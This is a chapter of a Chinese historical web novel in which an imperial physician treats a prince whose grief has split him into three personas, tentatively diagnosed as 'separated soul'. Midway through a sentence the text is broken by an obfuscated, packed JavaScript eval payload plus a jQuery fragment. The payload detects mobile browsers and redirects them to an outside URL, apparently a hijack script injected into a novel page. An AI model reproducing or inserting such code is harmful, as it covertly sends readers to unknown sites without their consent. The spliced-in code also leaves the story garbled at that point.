颜淞那一夜没有睡好。
从御前回来后,他在太医院的值房里坐了很久。桌上的灯剪过一回,火苗低低地亮着,把案上的方笺照出一层淡黄的光。
他没有再重写病案。
该写给皇帝看的话,白日里已经说了。皇帝信不信,信多少,都不是他一个太医能左右的事。皇帝没有立刻定论,准他继续问诊,这样的话落在别人耳中或许只是恩准,落在颜淞心里,缺项一块压在胸口的石头。
皇帝不是寻常病家。
明亲王府的小王爷,也不是寻常病人。
若只是普通人家的儿子,病了便治,疯了便养,治不好,也不过是一家一户的痛苦。可陆云逸不同。他身上牵着宗室,牵着皇帝,也牵着许多外人看不见的忌讳。一个病名写轻了,是误诊;写重了,便可能误人一生。
颜淞坐在太医院值房里,灯火低低燃着。
眼下真正要紧的,是明日再去王府时,他得拿出一点治法来。
可这治法并不好拿。
颜淞这些年看过惊悸、梦魇、失魂,也看过哀伤过度后不肯说话的人。可陆云逸这样的病,他并没有真正治过。
一个人说自己见过死人,听过死人说话,并不稀奇。世间苦人太多,人若痛到极处,总会在梦里给亡者留一条路。可陆云逸的情形又不同。他有时清醒得过分,有时又像被旧事拖走。说话有章法,记事也清楚,却偏偏在某些时候露出另一副神色。
这不是寻常梦魇。
也不像寻常癫狂。
案上摊着师傅留下的手札。他没有再去翻前头那些旧案。那些人,他早已记在心里。寡妇、书生、被盗匪掳过的女子,各有各的苦处,也各有各的异相。可陆云逸的病,不能完全套进其中任何一桩。再看下去,也不过是多添几分心惊。颜淞这回只看治法。
师傅在册子里写得简单。
先安其身,再安其神。不可骤压。不可强破。药只助眠,不可代问。若病者自知有异,当顺其自知,缓缓归一。
颜淞盯着“药只助眠,不可代问”这一句看了很久。
太医院里的人最容易相信药,也最容易不相信药。寻常风寒,开方服下,发汗退热;刀伤出血,止血敷药,过些日子便能见好。可人心里的裂处,不是几味草木能缝起来的。
他想了想,另取一张纸,写了一个安神方。
酸枣仁、茯神、远志、柏子仁、夜交藤、合欢皮,再以甘草少许调和。药性不猛,不求立时见效,只求夜间少些惊醒,白日精神不至于散得太厉害。
写到朱砂时,他停住笔,又把那味药划去了。
朱砂镇心,太医常用。可陆云逸不是那种满屋乱撞、神智全失的病人。若用药太重,把人压得昏沉,反倒误了后面的问诊。
颜淞把方子吹干,折好,压在药箱里。
外头夜深了,太医院的走廊里有人提灯走过,脚步声很轻。药房那边传来抽屉开合的声音,大约还有人给宫中贵人配夜里的丸散。
颜淞靠在椅背上,闭了闭眼。
他想起白日里皇帝看他的眼神。
那不是寻常病家听大夫说病的眼神。那眼神里有审度,有疑心,也有一种高高在上的耐心。皇帝没有急着否定他,也没有全然相信他。只是准他继续看,继续问,继续写。
这便够了。
至少眼下够了。
第二日一早,颜淞带着药箱去了明亲王府。
冬日难得有晴光。虽不暖,照在王府青石阶上,却总比阴雨时让人心里松快一点。吴老仆在门内候着,见他来了,忙上前行礼。
“颜太医。”
颜淞还礼,问:“殿下今日如何?”
吴老仆道:“比前两日好些。”
颜淞看了他一眼。
老仆说话很谨慎。王府里的人大约都被萍儿叮嘱过,陆云逸这几日说过什么、做过什么,不能随意传到他耳中。这样也好。若让病人从旁人口中听见自己的异状,未必是好事。
颜淞问:“饮食呢?”
“早上用了半碗粥,还用了些蒸饼。”
“睡得如何?”
“听萍儿姑娘说,夜里醒过一回,但不曾闹。”
老仆说到“不曾闹”三个字时,声音压得很低,像怕被谁听见。
颜淞没有多问。
吴老仆本要领他往听雪斋去,走过一道月洞门时,却忽然停了停。
远处传来一声闷响。
像是木剑击在桩上。
颜淞循声看去。
吴老仆低声道:“小王爷在小校场。”
明亲王府西侧有一处小校场。
地方不大,四面用矮墙围着,墙边种着几株老松。靠南一侧摆着兵器架,刀枪剑戟都有,只是多半蒙着布。东边立着木桩、沙袋和几只石锁。地上铺过细沙,扫得很平,显然常有人打理。
这是陆云逸小时候练武的地方。
颜淞在太医院当值,听过不少皇子皇孙的事。哪个皇子秋猎时摔了马,哪个皇孙拉弓伤了肩,哪个伴读练枪时砸了脚,这些小伤小病,最后都会绕到太医院来。
陆云逸的名字,他也听过许多回。
京中人都说,明亲王府的小王爷自幼出众。读书不输皇子,骑射也不输皇孙。性情温和,不爱在人前争高低,可每回校考下来,名次总在前头。还有人私下说,陛下待这个侄儿,比待几个亲孙子还上心。
这些话颜淞从前只听过,并未放在心上。
他见陆云逸的次数不多。最早那回是在宫宴上,远远看见一个少年坐在宗室子弟之间,衣冠整齐,眉目清正。那时灯火重,人影杂,他只觉得那孩子气度很好,不像寻常少年浮躁。
这几日问诊,陆云逸多是在屋内。
不是坐在窗下,便是靠在榻边。脸色苍白,眼下有青影,衣衫又宽,看着像一场病已经耗掉了许多气力。颜淞便很难把眼前这个病人,和那些关于“骑射出众”的传闻连在一起。
直到这一刻,他站在小校场边,看见陆云逸收剑回身。
陆云逸穿着一身窄袖青衣,腰间束了革带,头发高高束起,没有披外氅。冬日风冷,他却出了薄汗。额边几缕碎发被汗沾住,脸色仍淡,可眼神比前几日清亮许多。
他手里握着一柄木剑。
木剑击在木桩上,响声沉稳。他的动作并不威猛,也谈不上大开大合。肩背窄,身量也不算高。若拿他同宫里那些正当壮年的皇子相比,确实瘦了一圈,骨架也不宽。站在校场里,乍看不像武人,倒像个病后强撑着出来活动的清贵公子。
可再看下去,又不是那么回事。
他脚步极稳。
进退之间没有多余动作。每一剑出去,都像先在心里算过距离。收时也快,不拖泥带水。比起那些仗着身高力壮便横冲直撞的少年,他的剑法少了几分蛮劲,却多了几分准头和克制。
颜淞忽然明白,为什么那些太医、内侍、宫中武师都说陆云逸厉害。
厉害不一定是力大。
有些人的厉害,是把能用的每一寸力气都用到该用的地方。
陆云逸又刺出一剑,剑尖点在木桩旧痕旁,轻轻一收。
颜淞看着他的身形,心里慢慢生出一点说不清的念头。
皇帝一向重视皇子皇孙教养。陆云逸虽只是亲王之子,却也同那些皇子皇孙一道受教。按说他得的师傅、规矩、课业,都不比旁人少。甚至京里人人都知道,陛下看重他,看重得几乎不像看侄儿,倒像看亲子。
可他终究不是陛下亲生的儿子。
颜淞自己也知道,这念头说不出什么医理。人的身量高矮,原本与许多事有关。饮食、睡眠、筋骨、天生气血,都不是一句话能说尽的。
但人活在这世上,终究也难免信些旁人都信的东西。
皇帝是真龙天子。
皇子皇孙承的是天家正脉。明亲王府再尊贵,陆云逸再得圣心,也终究隔着一层。他瘦一些,清弱一些,似乎也不奇怪。
颜淞想到这里,又觉得自己荒唐。
他是太医,竟也拿这些虚话来想病人的身子。
可有些念头来得快,去得也快,不必写在纸上,更不必说出口。
萍儿从小校场另一侧走过来,手里搭着一件披风。她见颜淞来了,先向他点了点头,又看向场中。
“颜太医来得正好。他今日醒得早,说屋里闷,非要出来走走。”
她嘴上说得平稳,眼神却一直落在陆云逸身上。
颜淞道:“能出来活动,是好事。只是不宜太久。”
萍儿轻声道:“我知道。再练两下就让他回屋。”
颜淞问:“这两日如何?”
萍儿听了这话,眉间微微松了些。
“比前几日稳些。昨夜睡得浅,但没再惊醒。早上用了些饭,也肯同我说话。只是偶尔还是会走神。”
“说过什么异样的话吗?”
萍儿没有立刻回答。
她望着校场里那道青色身影,过了一会儿才说:“没有当着下人的面说。夜里醒时,只问过一句,窗外是不是有人。”
“你怎么答的?”
“我说没有。”
颜淞点点头。
萍儿看向他手里的药箱:“太医今日带了方子?”
“是。”颜淞道,“只是安神的轻方。让殿下夜里睡稳些。药不重,也不急着见效。”
萍儿低声问:“能治好吗?”
颜淞沉默片刻。
“药不能治好这样的病。”
萍儿的手指在披风边上轻轻收紧。
颜淞接着道:“但人若总睡不好,心神更难安定。先让他能睡,能吃,能应答,再慢慢问。”
萍儿点了点头,没再追问。
她其实早已听颜淞说过“离魂”这几个字。那时颜淞说得很谨慎,只说像,不敢定。萍儿听懂了,却宁愿不懂。一个人若只是受了惊,总还有慢慢养回来的时候;若说魂分了,魄裂了,便像这孩子从里头碎过一次。
世上没有哪个母亲愿意听这样的话。
哪怕她只是干妈。
场中的陆云逸似乎察觉了他们的目光,收了剑,朝这边看过来。
他把木剑递给旁边小厮,走到萍儿面前。
萍儿立刻把披风给他披上,语气里带着些责备:“出了汗还站在风里。”
陆云逸低头让她系好带子,道:“只练了一会儿。”
“你的一会儿,是旁人的半个时辰。”
陆云逸笑了笑,没有反驳。
他转头看向颜淞,神色如常:“颜太医。”
颜淞行礼:“殿下。”
“今日又要问诊?”
“臣带了方子来,也想再请一次脉。”
陆云逸看了一眼他的药箱:“治我这病的方子?”
“不是。”颜淞答得很实在,“只是安神。”
陆云逸似乎觉得这话有趣。
“太医倒不哄人。”
“臣若说一剂药下去便能好,殿下也不会信。”
陆云逸拢着披风,慢慢往听雪斋方向走。
“我确实不信。”
颜淞跟在旁边,萍儿落后半步。小厮们远远跟着,不敢靠太近。王府廊下很静,冬日晴光从檐角斜斜落下来,照见廊柱上旧漆的纹路。
两人走进听雪斋。
屋里已经收拾过,炭火烧得不旺不弱,窗户开了一道缝透气。桌上摆着热茶。陆云逸坐下后,萍儿亲自倒了一盏,放到他手边。
他的手腕搁在脉枕上,袖口微微往上一退,露出一截腕骨。
颜淞指尖搭上去时,心里不觉顿了一下。
那腕子太细。
并非病人瘦弱之后那种干枯的细,而是骨节本就生得窄。皮肤也薄,脉在指下跳得轻,像隔了一层细绢。颜淞按过许多年轻男子的脉,尤其是习武之人,哪怕病中虚弱,底下也常有一股阳气撑着,脉来不一定洪大,却该有些开阔之势。
陆云逸的脉却不太一样。
细,缓,沉处有力,却不张扬。寸关之间有郁结,尺部又似藏着一层说不出的寒。若只论病,可说是久郁伤神、气血不足。可落在一个自幼习武、正值青年、又出身富贵的男子身上,便显得有些不合常理。
颜淞的指尖稍稍停了停。
富贵人家的孩子也有天生不足的。何况陆云逸这几年在外游历,风霜劳顿,又受了大惊大痛,脉象柔弱些,并非不能解释。
颜淞换了另一只手,又诊片刻,才收回手。
颜淞收回手,道:“殿下这两日好些,只是神气仍虚,心脉郁结未解。”
“太医也觉得好些?”
“从脉上看,气息较前日稳。”
陆云逸垂眼看着自己的手腕。
“我也觉得好些。”
陆云逸又道:“大约是因为有些事想明白了。”
颜淞看着他:“殿下想明白了什么?”
陆云逸没有立刻说。
他端起茶盏,热气浮在他眉眼之间,让他的神情显得有些模糊。过了片刻,他才道:“我这几日总在想,林鸯鸯和叶开阳究竟死没死。”
萍儿的脸色轻轻变了。
颜淞没有接话。
陆云逸道:“照我自己说过的故事,她们自然都死了。一个死在广陵,一个死在荒年。人死了,便该埋了,烧了,散了。活人再难过,也得接着过日子。”
他停了停。
“可我有时觉得,她们没死。”
颜淞问:“殿下何以这样觉得?”
陆云逸道:“因为我总觉得她们还在。”
屋里安静下来。
窗缝里有风进来,吹得桌上纸角微微动了一下。
陆云逸看向那张纸,像是忽然想起什么。
“叶开阳之后……”他慢慢重复了一遍,“那段日子,我其实记不清了。”
陆云逸道:“我记得她死了。也记得我赶回去,看见那些东西。再往后,就像有人往我脑子里倒了一盆雾。雾很厚,什么都看不清。”
颜淞没有打断他。
陆云逸继续道:“我记得自己好像走了很多路,也好像很久没有走。有人同我说话,我听不清。有人给我水,我也不知道是谁。白日和夜里混在一起,冷和饿也混在一起。有时候我觉得自己醒着,有时候又觉得自己已经不在那副身子里了。”
颜淞提笔记下。
陆云逸看了一眼他的笔尖,道:“等我稍微清醒些,便觉得路上不是我一个人了。”
颜淞的笔停了停。
“不是一个人?”
陆云逸点头。
“像是三个人同行。”
屋里静了一瞬。
窗外有风吹过,廊下悬着的竹帘轻轻碰了一声。
颜淞问:“哪三个人?”
陆云逸道:“陆云逸,林鸯鸯,叶开阳。”
萍儿的脸色白了一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520945|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却仍强自坐稳,没有出声。
陆云逸像是在努力回忆。
“那时我觉得,陆云逸是金主,是出钱的人。他有身份,有银子,也能同官府说话。林鸯鸯要给年老的母亲找个养老的地方,她性子软,怕人,却心细。叶开阳则是林鸯鸯雇佣的保镖,不大懂人情,却知道怎么活下去。”
“我那时候不觉得这有什么不对。一个人太累,三个人走路,仿佛就能轻松些。该说话的时候,陆云逸说。该求人时,林鸯鸯去。该逃命、动手、找路时,叶开阳在前头。”
颜淞道:“殿下可曾有过记忆断续之感?”
陆云逸想了想。
“有。”
“怎样断续?”
“譬如我明明记得自己坐在窗下,下一刻却发现天已经黑了,茶也冷透了。又譬如我夜里醒来,看见手边放着我不记得拿过的东西。有时候是书,有时候是笔,有时候只是半盏水。”
“太医觉得,这像什么?”
颜淞没有立刻回答。
陆云逸道:“不像鬼神吧?”
“不是鬼神。”
“也不像寻常疯病?”
颜淞慢慢道:“不像寻常癫狂。”
陆云逸追问:“那像什么?”
颜淞的笔悬在纸上。
他先前在病案里已经写过“近有离魂分魄之象”,也同萍儿说过类似的话。可那是写给皇帝看的,是说给看护的人听的。真正当着陆云逸本人说出来,又是另一回事。
病名落到病人耳中,有时像药,有时像刀。
陆云逸看着他,神情很安静。
“太医若有话,不妨直说。我不是小孩子,也不是一听病名便要哭闹的人。”
颜淞道:“殿下未必承受得住。”
陆云逸笑了一下。
“我难道还承受不住一个病名?”
颜淞抬头看他。
陆云逸的脸色仍旧带着病后的苍白,可眼神很稳。那稳里没有咄咄逼人,却像有人把一盏灯放在桌上,逼得黑暗自己往后退。
颜淞终于开口。
“依臣所见,殿下此症,可暂称离魂分魄。”
萍儿早听过这四个字,可此刻当着陆云逸的面再听一遍,仍觉得心口像被人按了一下。她把手藏进袖中,指尖慢慢掐住掌心,不让自己出声。
陆云逸却只是轻轻重复了一遍。
“离魂分魄。”
颜淞道:“这只是暂称,不是定论。人遇大痛,心神不能独承,便可能分出旁的情状来抵御旧伤。有的人忘事,有的人妄语,有的人自称他名,有的人言行气质与平日迥异。殿下不同于寻常病人,尚能自省,也能分辨自己有异,所以臣不敢说重。”
陆云逸道:“心神不能独承,便分而御伤?”
颜淞的目光落在他脸上。
这句话与师傅的手札里的话极近。
但颜淞没有多想。前几日问诊中,他说过类似的意思。陆云逸聪明,听过一遍便能化成自己的话,也不奇怪。
“可这样理解。”颜淞道。
陆云逸低声道:“所以林鸯鸯不是鬼,叶开阳也不是鬼。”
“不是。”
“那她们是我?”
颜淞顿了顿。
“是殿下心中不能承受之处。”
陆云逸沉默下来。
屋里的炭火轻轻爆了一声。
过了许久,他道:“若她们是我,那她们怕的、恨的、想活的,也都是我?”
颜淞道:“可以这样说。”
“若她们做了什么,也是我做的?”
萍儿抬头看他。
陆云逸没有看萍儿,只看着颜淞。
颜淞道:“病中所为,不能全以常时论。可若殿下已经知道自己有此症,往后便要留心诱因。遇到相似之事,先避开。身边也要有可信之人照看。”
陆云逸道:“若避不开呢?”
颜淞没有答得太快。
“那便先保人命。”
陆云逸看着他:“保谁的命?”
颜淞一时无言。
陆云逸像是真的在问病,又像是在问别的东西。若有一日,林鸯鸯怕得不肯见人,叶开阳拿起刀求生,陆云逸本人又不完全记得,那么该保谁的命?病人的?旁人的?还是那些早已死去、却被他留在心里的人的?
颜淞最后只能道:“能保谁,先保谁。”
陆云逸听了这话,慢慢笑了笑。
“太医说的是实话。”
颜淞并不觉得这称得上夸赞。
陆云逸又问:“此症能治吗?”
颜淞道:“能缓,未必能尽除。”
“怎么缓?”
“先睡好,吃好,少惊少怒。再慢慢问清楚,林鸯鸯何时出现,叶开阳何时出现,她们所惧为何,所守为何。等殿下能分清自己与她们,知道何时是自己,何时是病势牵动,便算有进益。”
陆云逸点点头。
“今日先到这里吧。”他说,“太医把药方留下,我会喝。”
颜淞看了他一眼。
“殿下若服药后昏沉,或心悸不适,须立刻停下。”
陆云逸点头。
萍儿接过方子,仔细看了一遍,又收进袖中。
颜淞把今日所记的纸折好。陆云逸没有问他写了什么,也没有拦。他似乎并不在意那些字最后会不会再送到皇帝案前。
可颜淞知道,他不可能不在意。
这个人只是太会把在意藏起来。
颜淞起身告辞。
萍儿送他到廊下。
走出几步后,她忽然低声问:“颜太医,这病若传出去,会如何?”
颜淞停下。
庭中日光很好,照在枯枝上,却没有多少暖意。
他说:“所以不能传出去。”
萍儿看着他。
颜淞道:“王府中人不可议论。殿下身边也不可骤然更换太多人。若有人把此症当作疯癫邪祟,惊扰了殿下,病势只会更乱。”
萍儿点了点头。
“我会管住他们。”
颜淞看着她,忽然觉得,这个女人其实比王府里许多人都镇定。她不是不怕,只是怕也知道先做什么。难怪陆云逸病成这样,仍最肯认她。
颜淞离开后,萍儿在廊下站了一会儿,才转身回屋。
陆云逸仍坐在窗下。
桌上那盏茶已经冷了。
他望着窗外,不知道在想什么。
萍儿走过去,轻声道:“药一会儿煎好。”
陆云逸应了一声。
萍儿看着他,终究还是问:“云逸,你今日同颜太医说那些话,是不是心里很难受?”
陆云逸收回目光。
他笑了笑。
“没有。”
萍儿不信。
陆云逸道:“我只是忽然觉得,若有一个病名,许多事便好解释了。”
萍儿的心慢慢沉下去。
她不知道这句话哪里不对。
可她听着,就是不安。
陆云逸却像已经累了,往椅背上靠了靠,声音轻了些。
陆云逸闭上眼。
窗外的晴光照进来,落在他苍白的脸上。他看起来安静极了,像一个终于肯歇下来的病人。
可萍儿站在他身边,却觉得这安静不是真的安静。
像湖面结了一层薄冰。
冰下的水,还在慢慢流。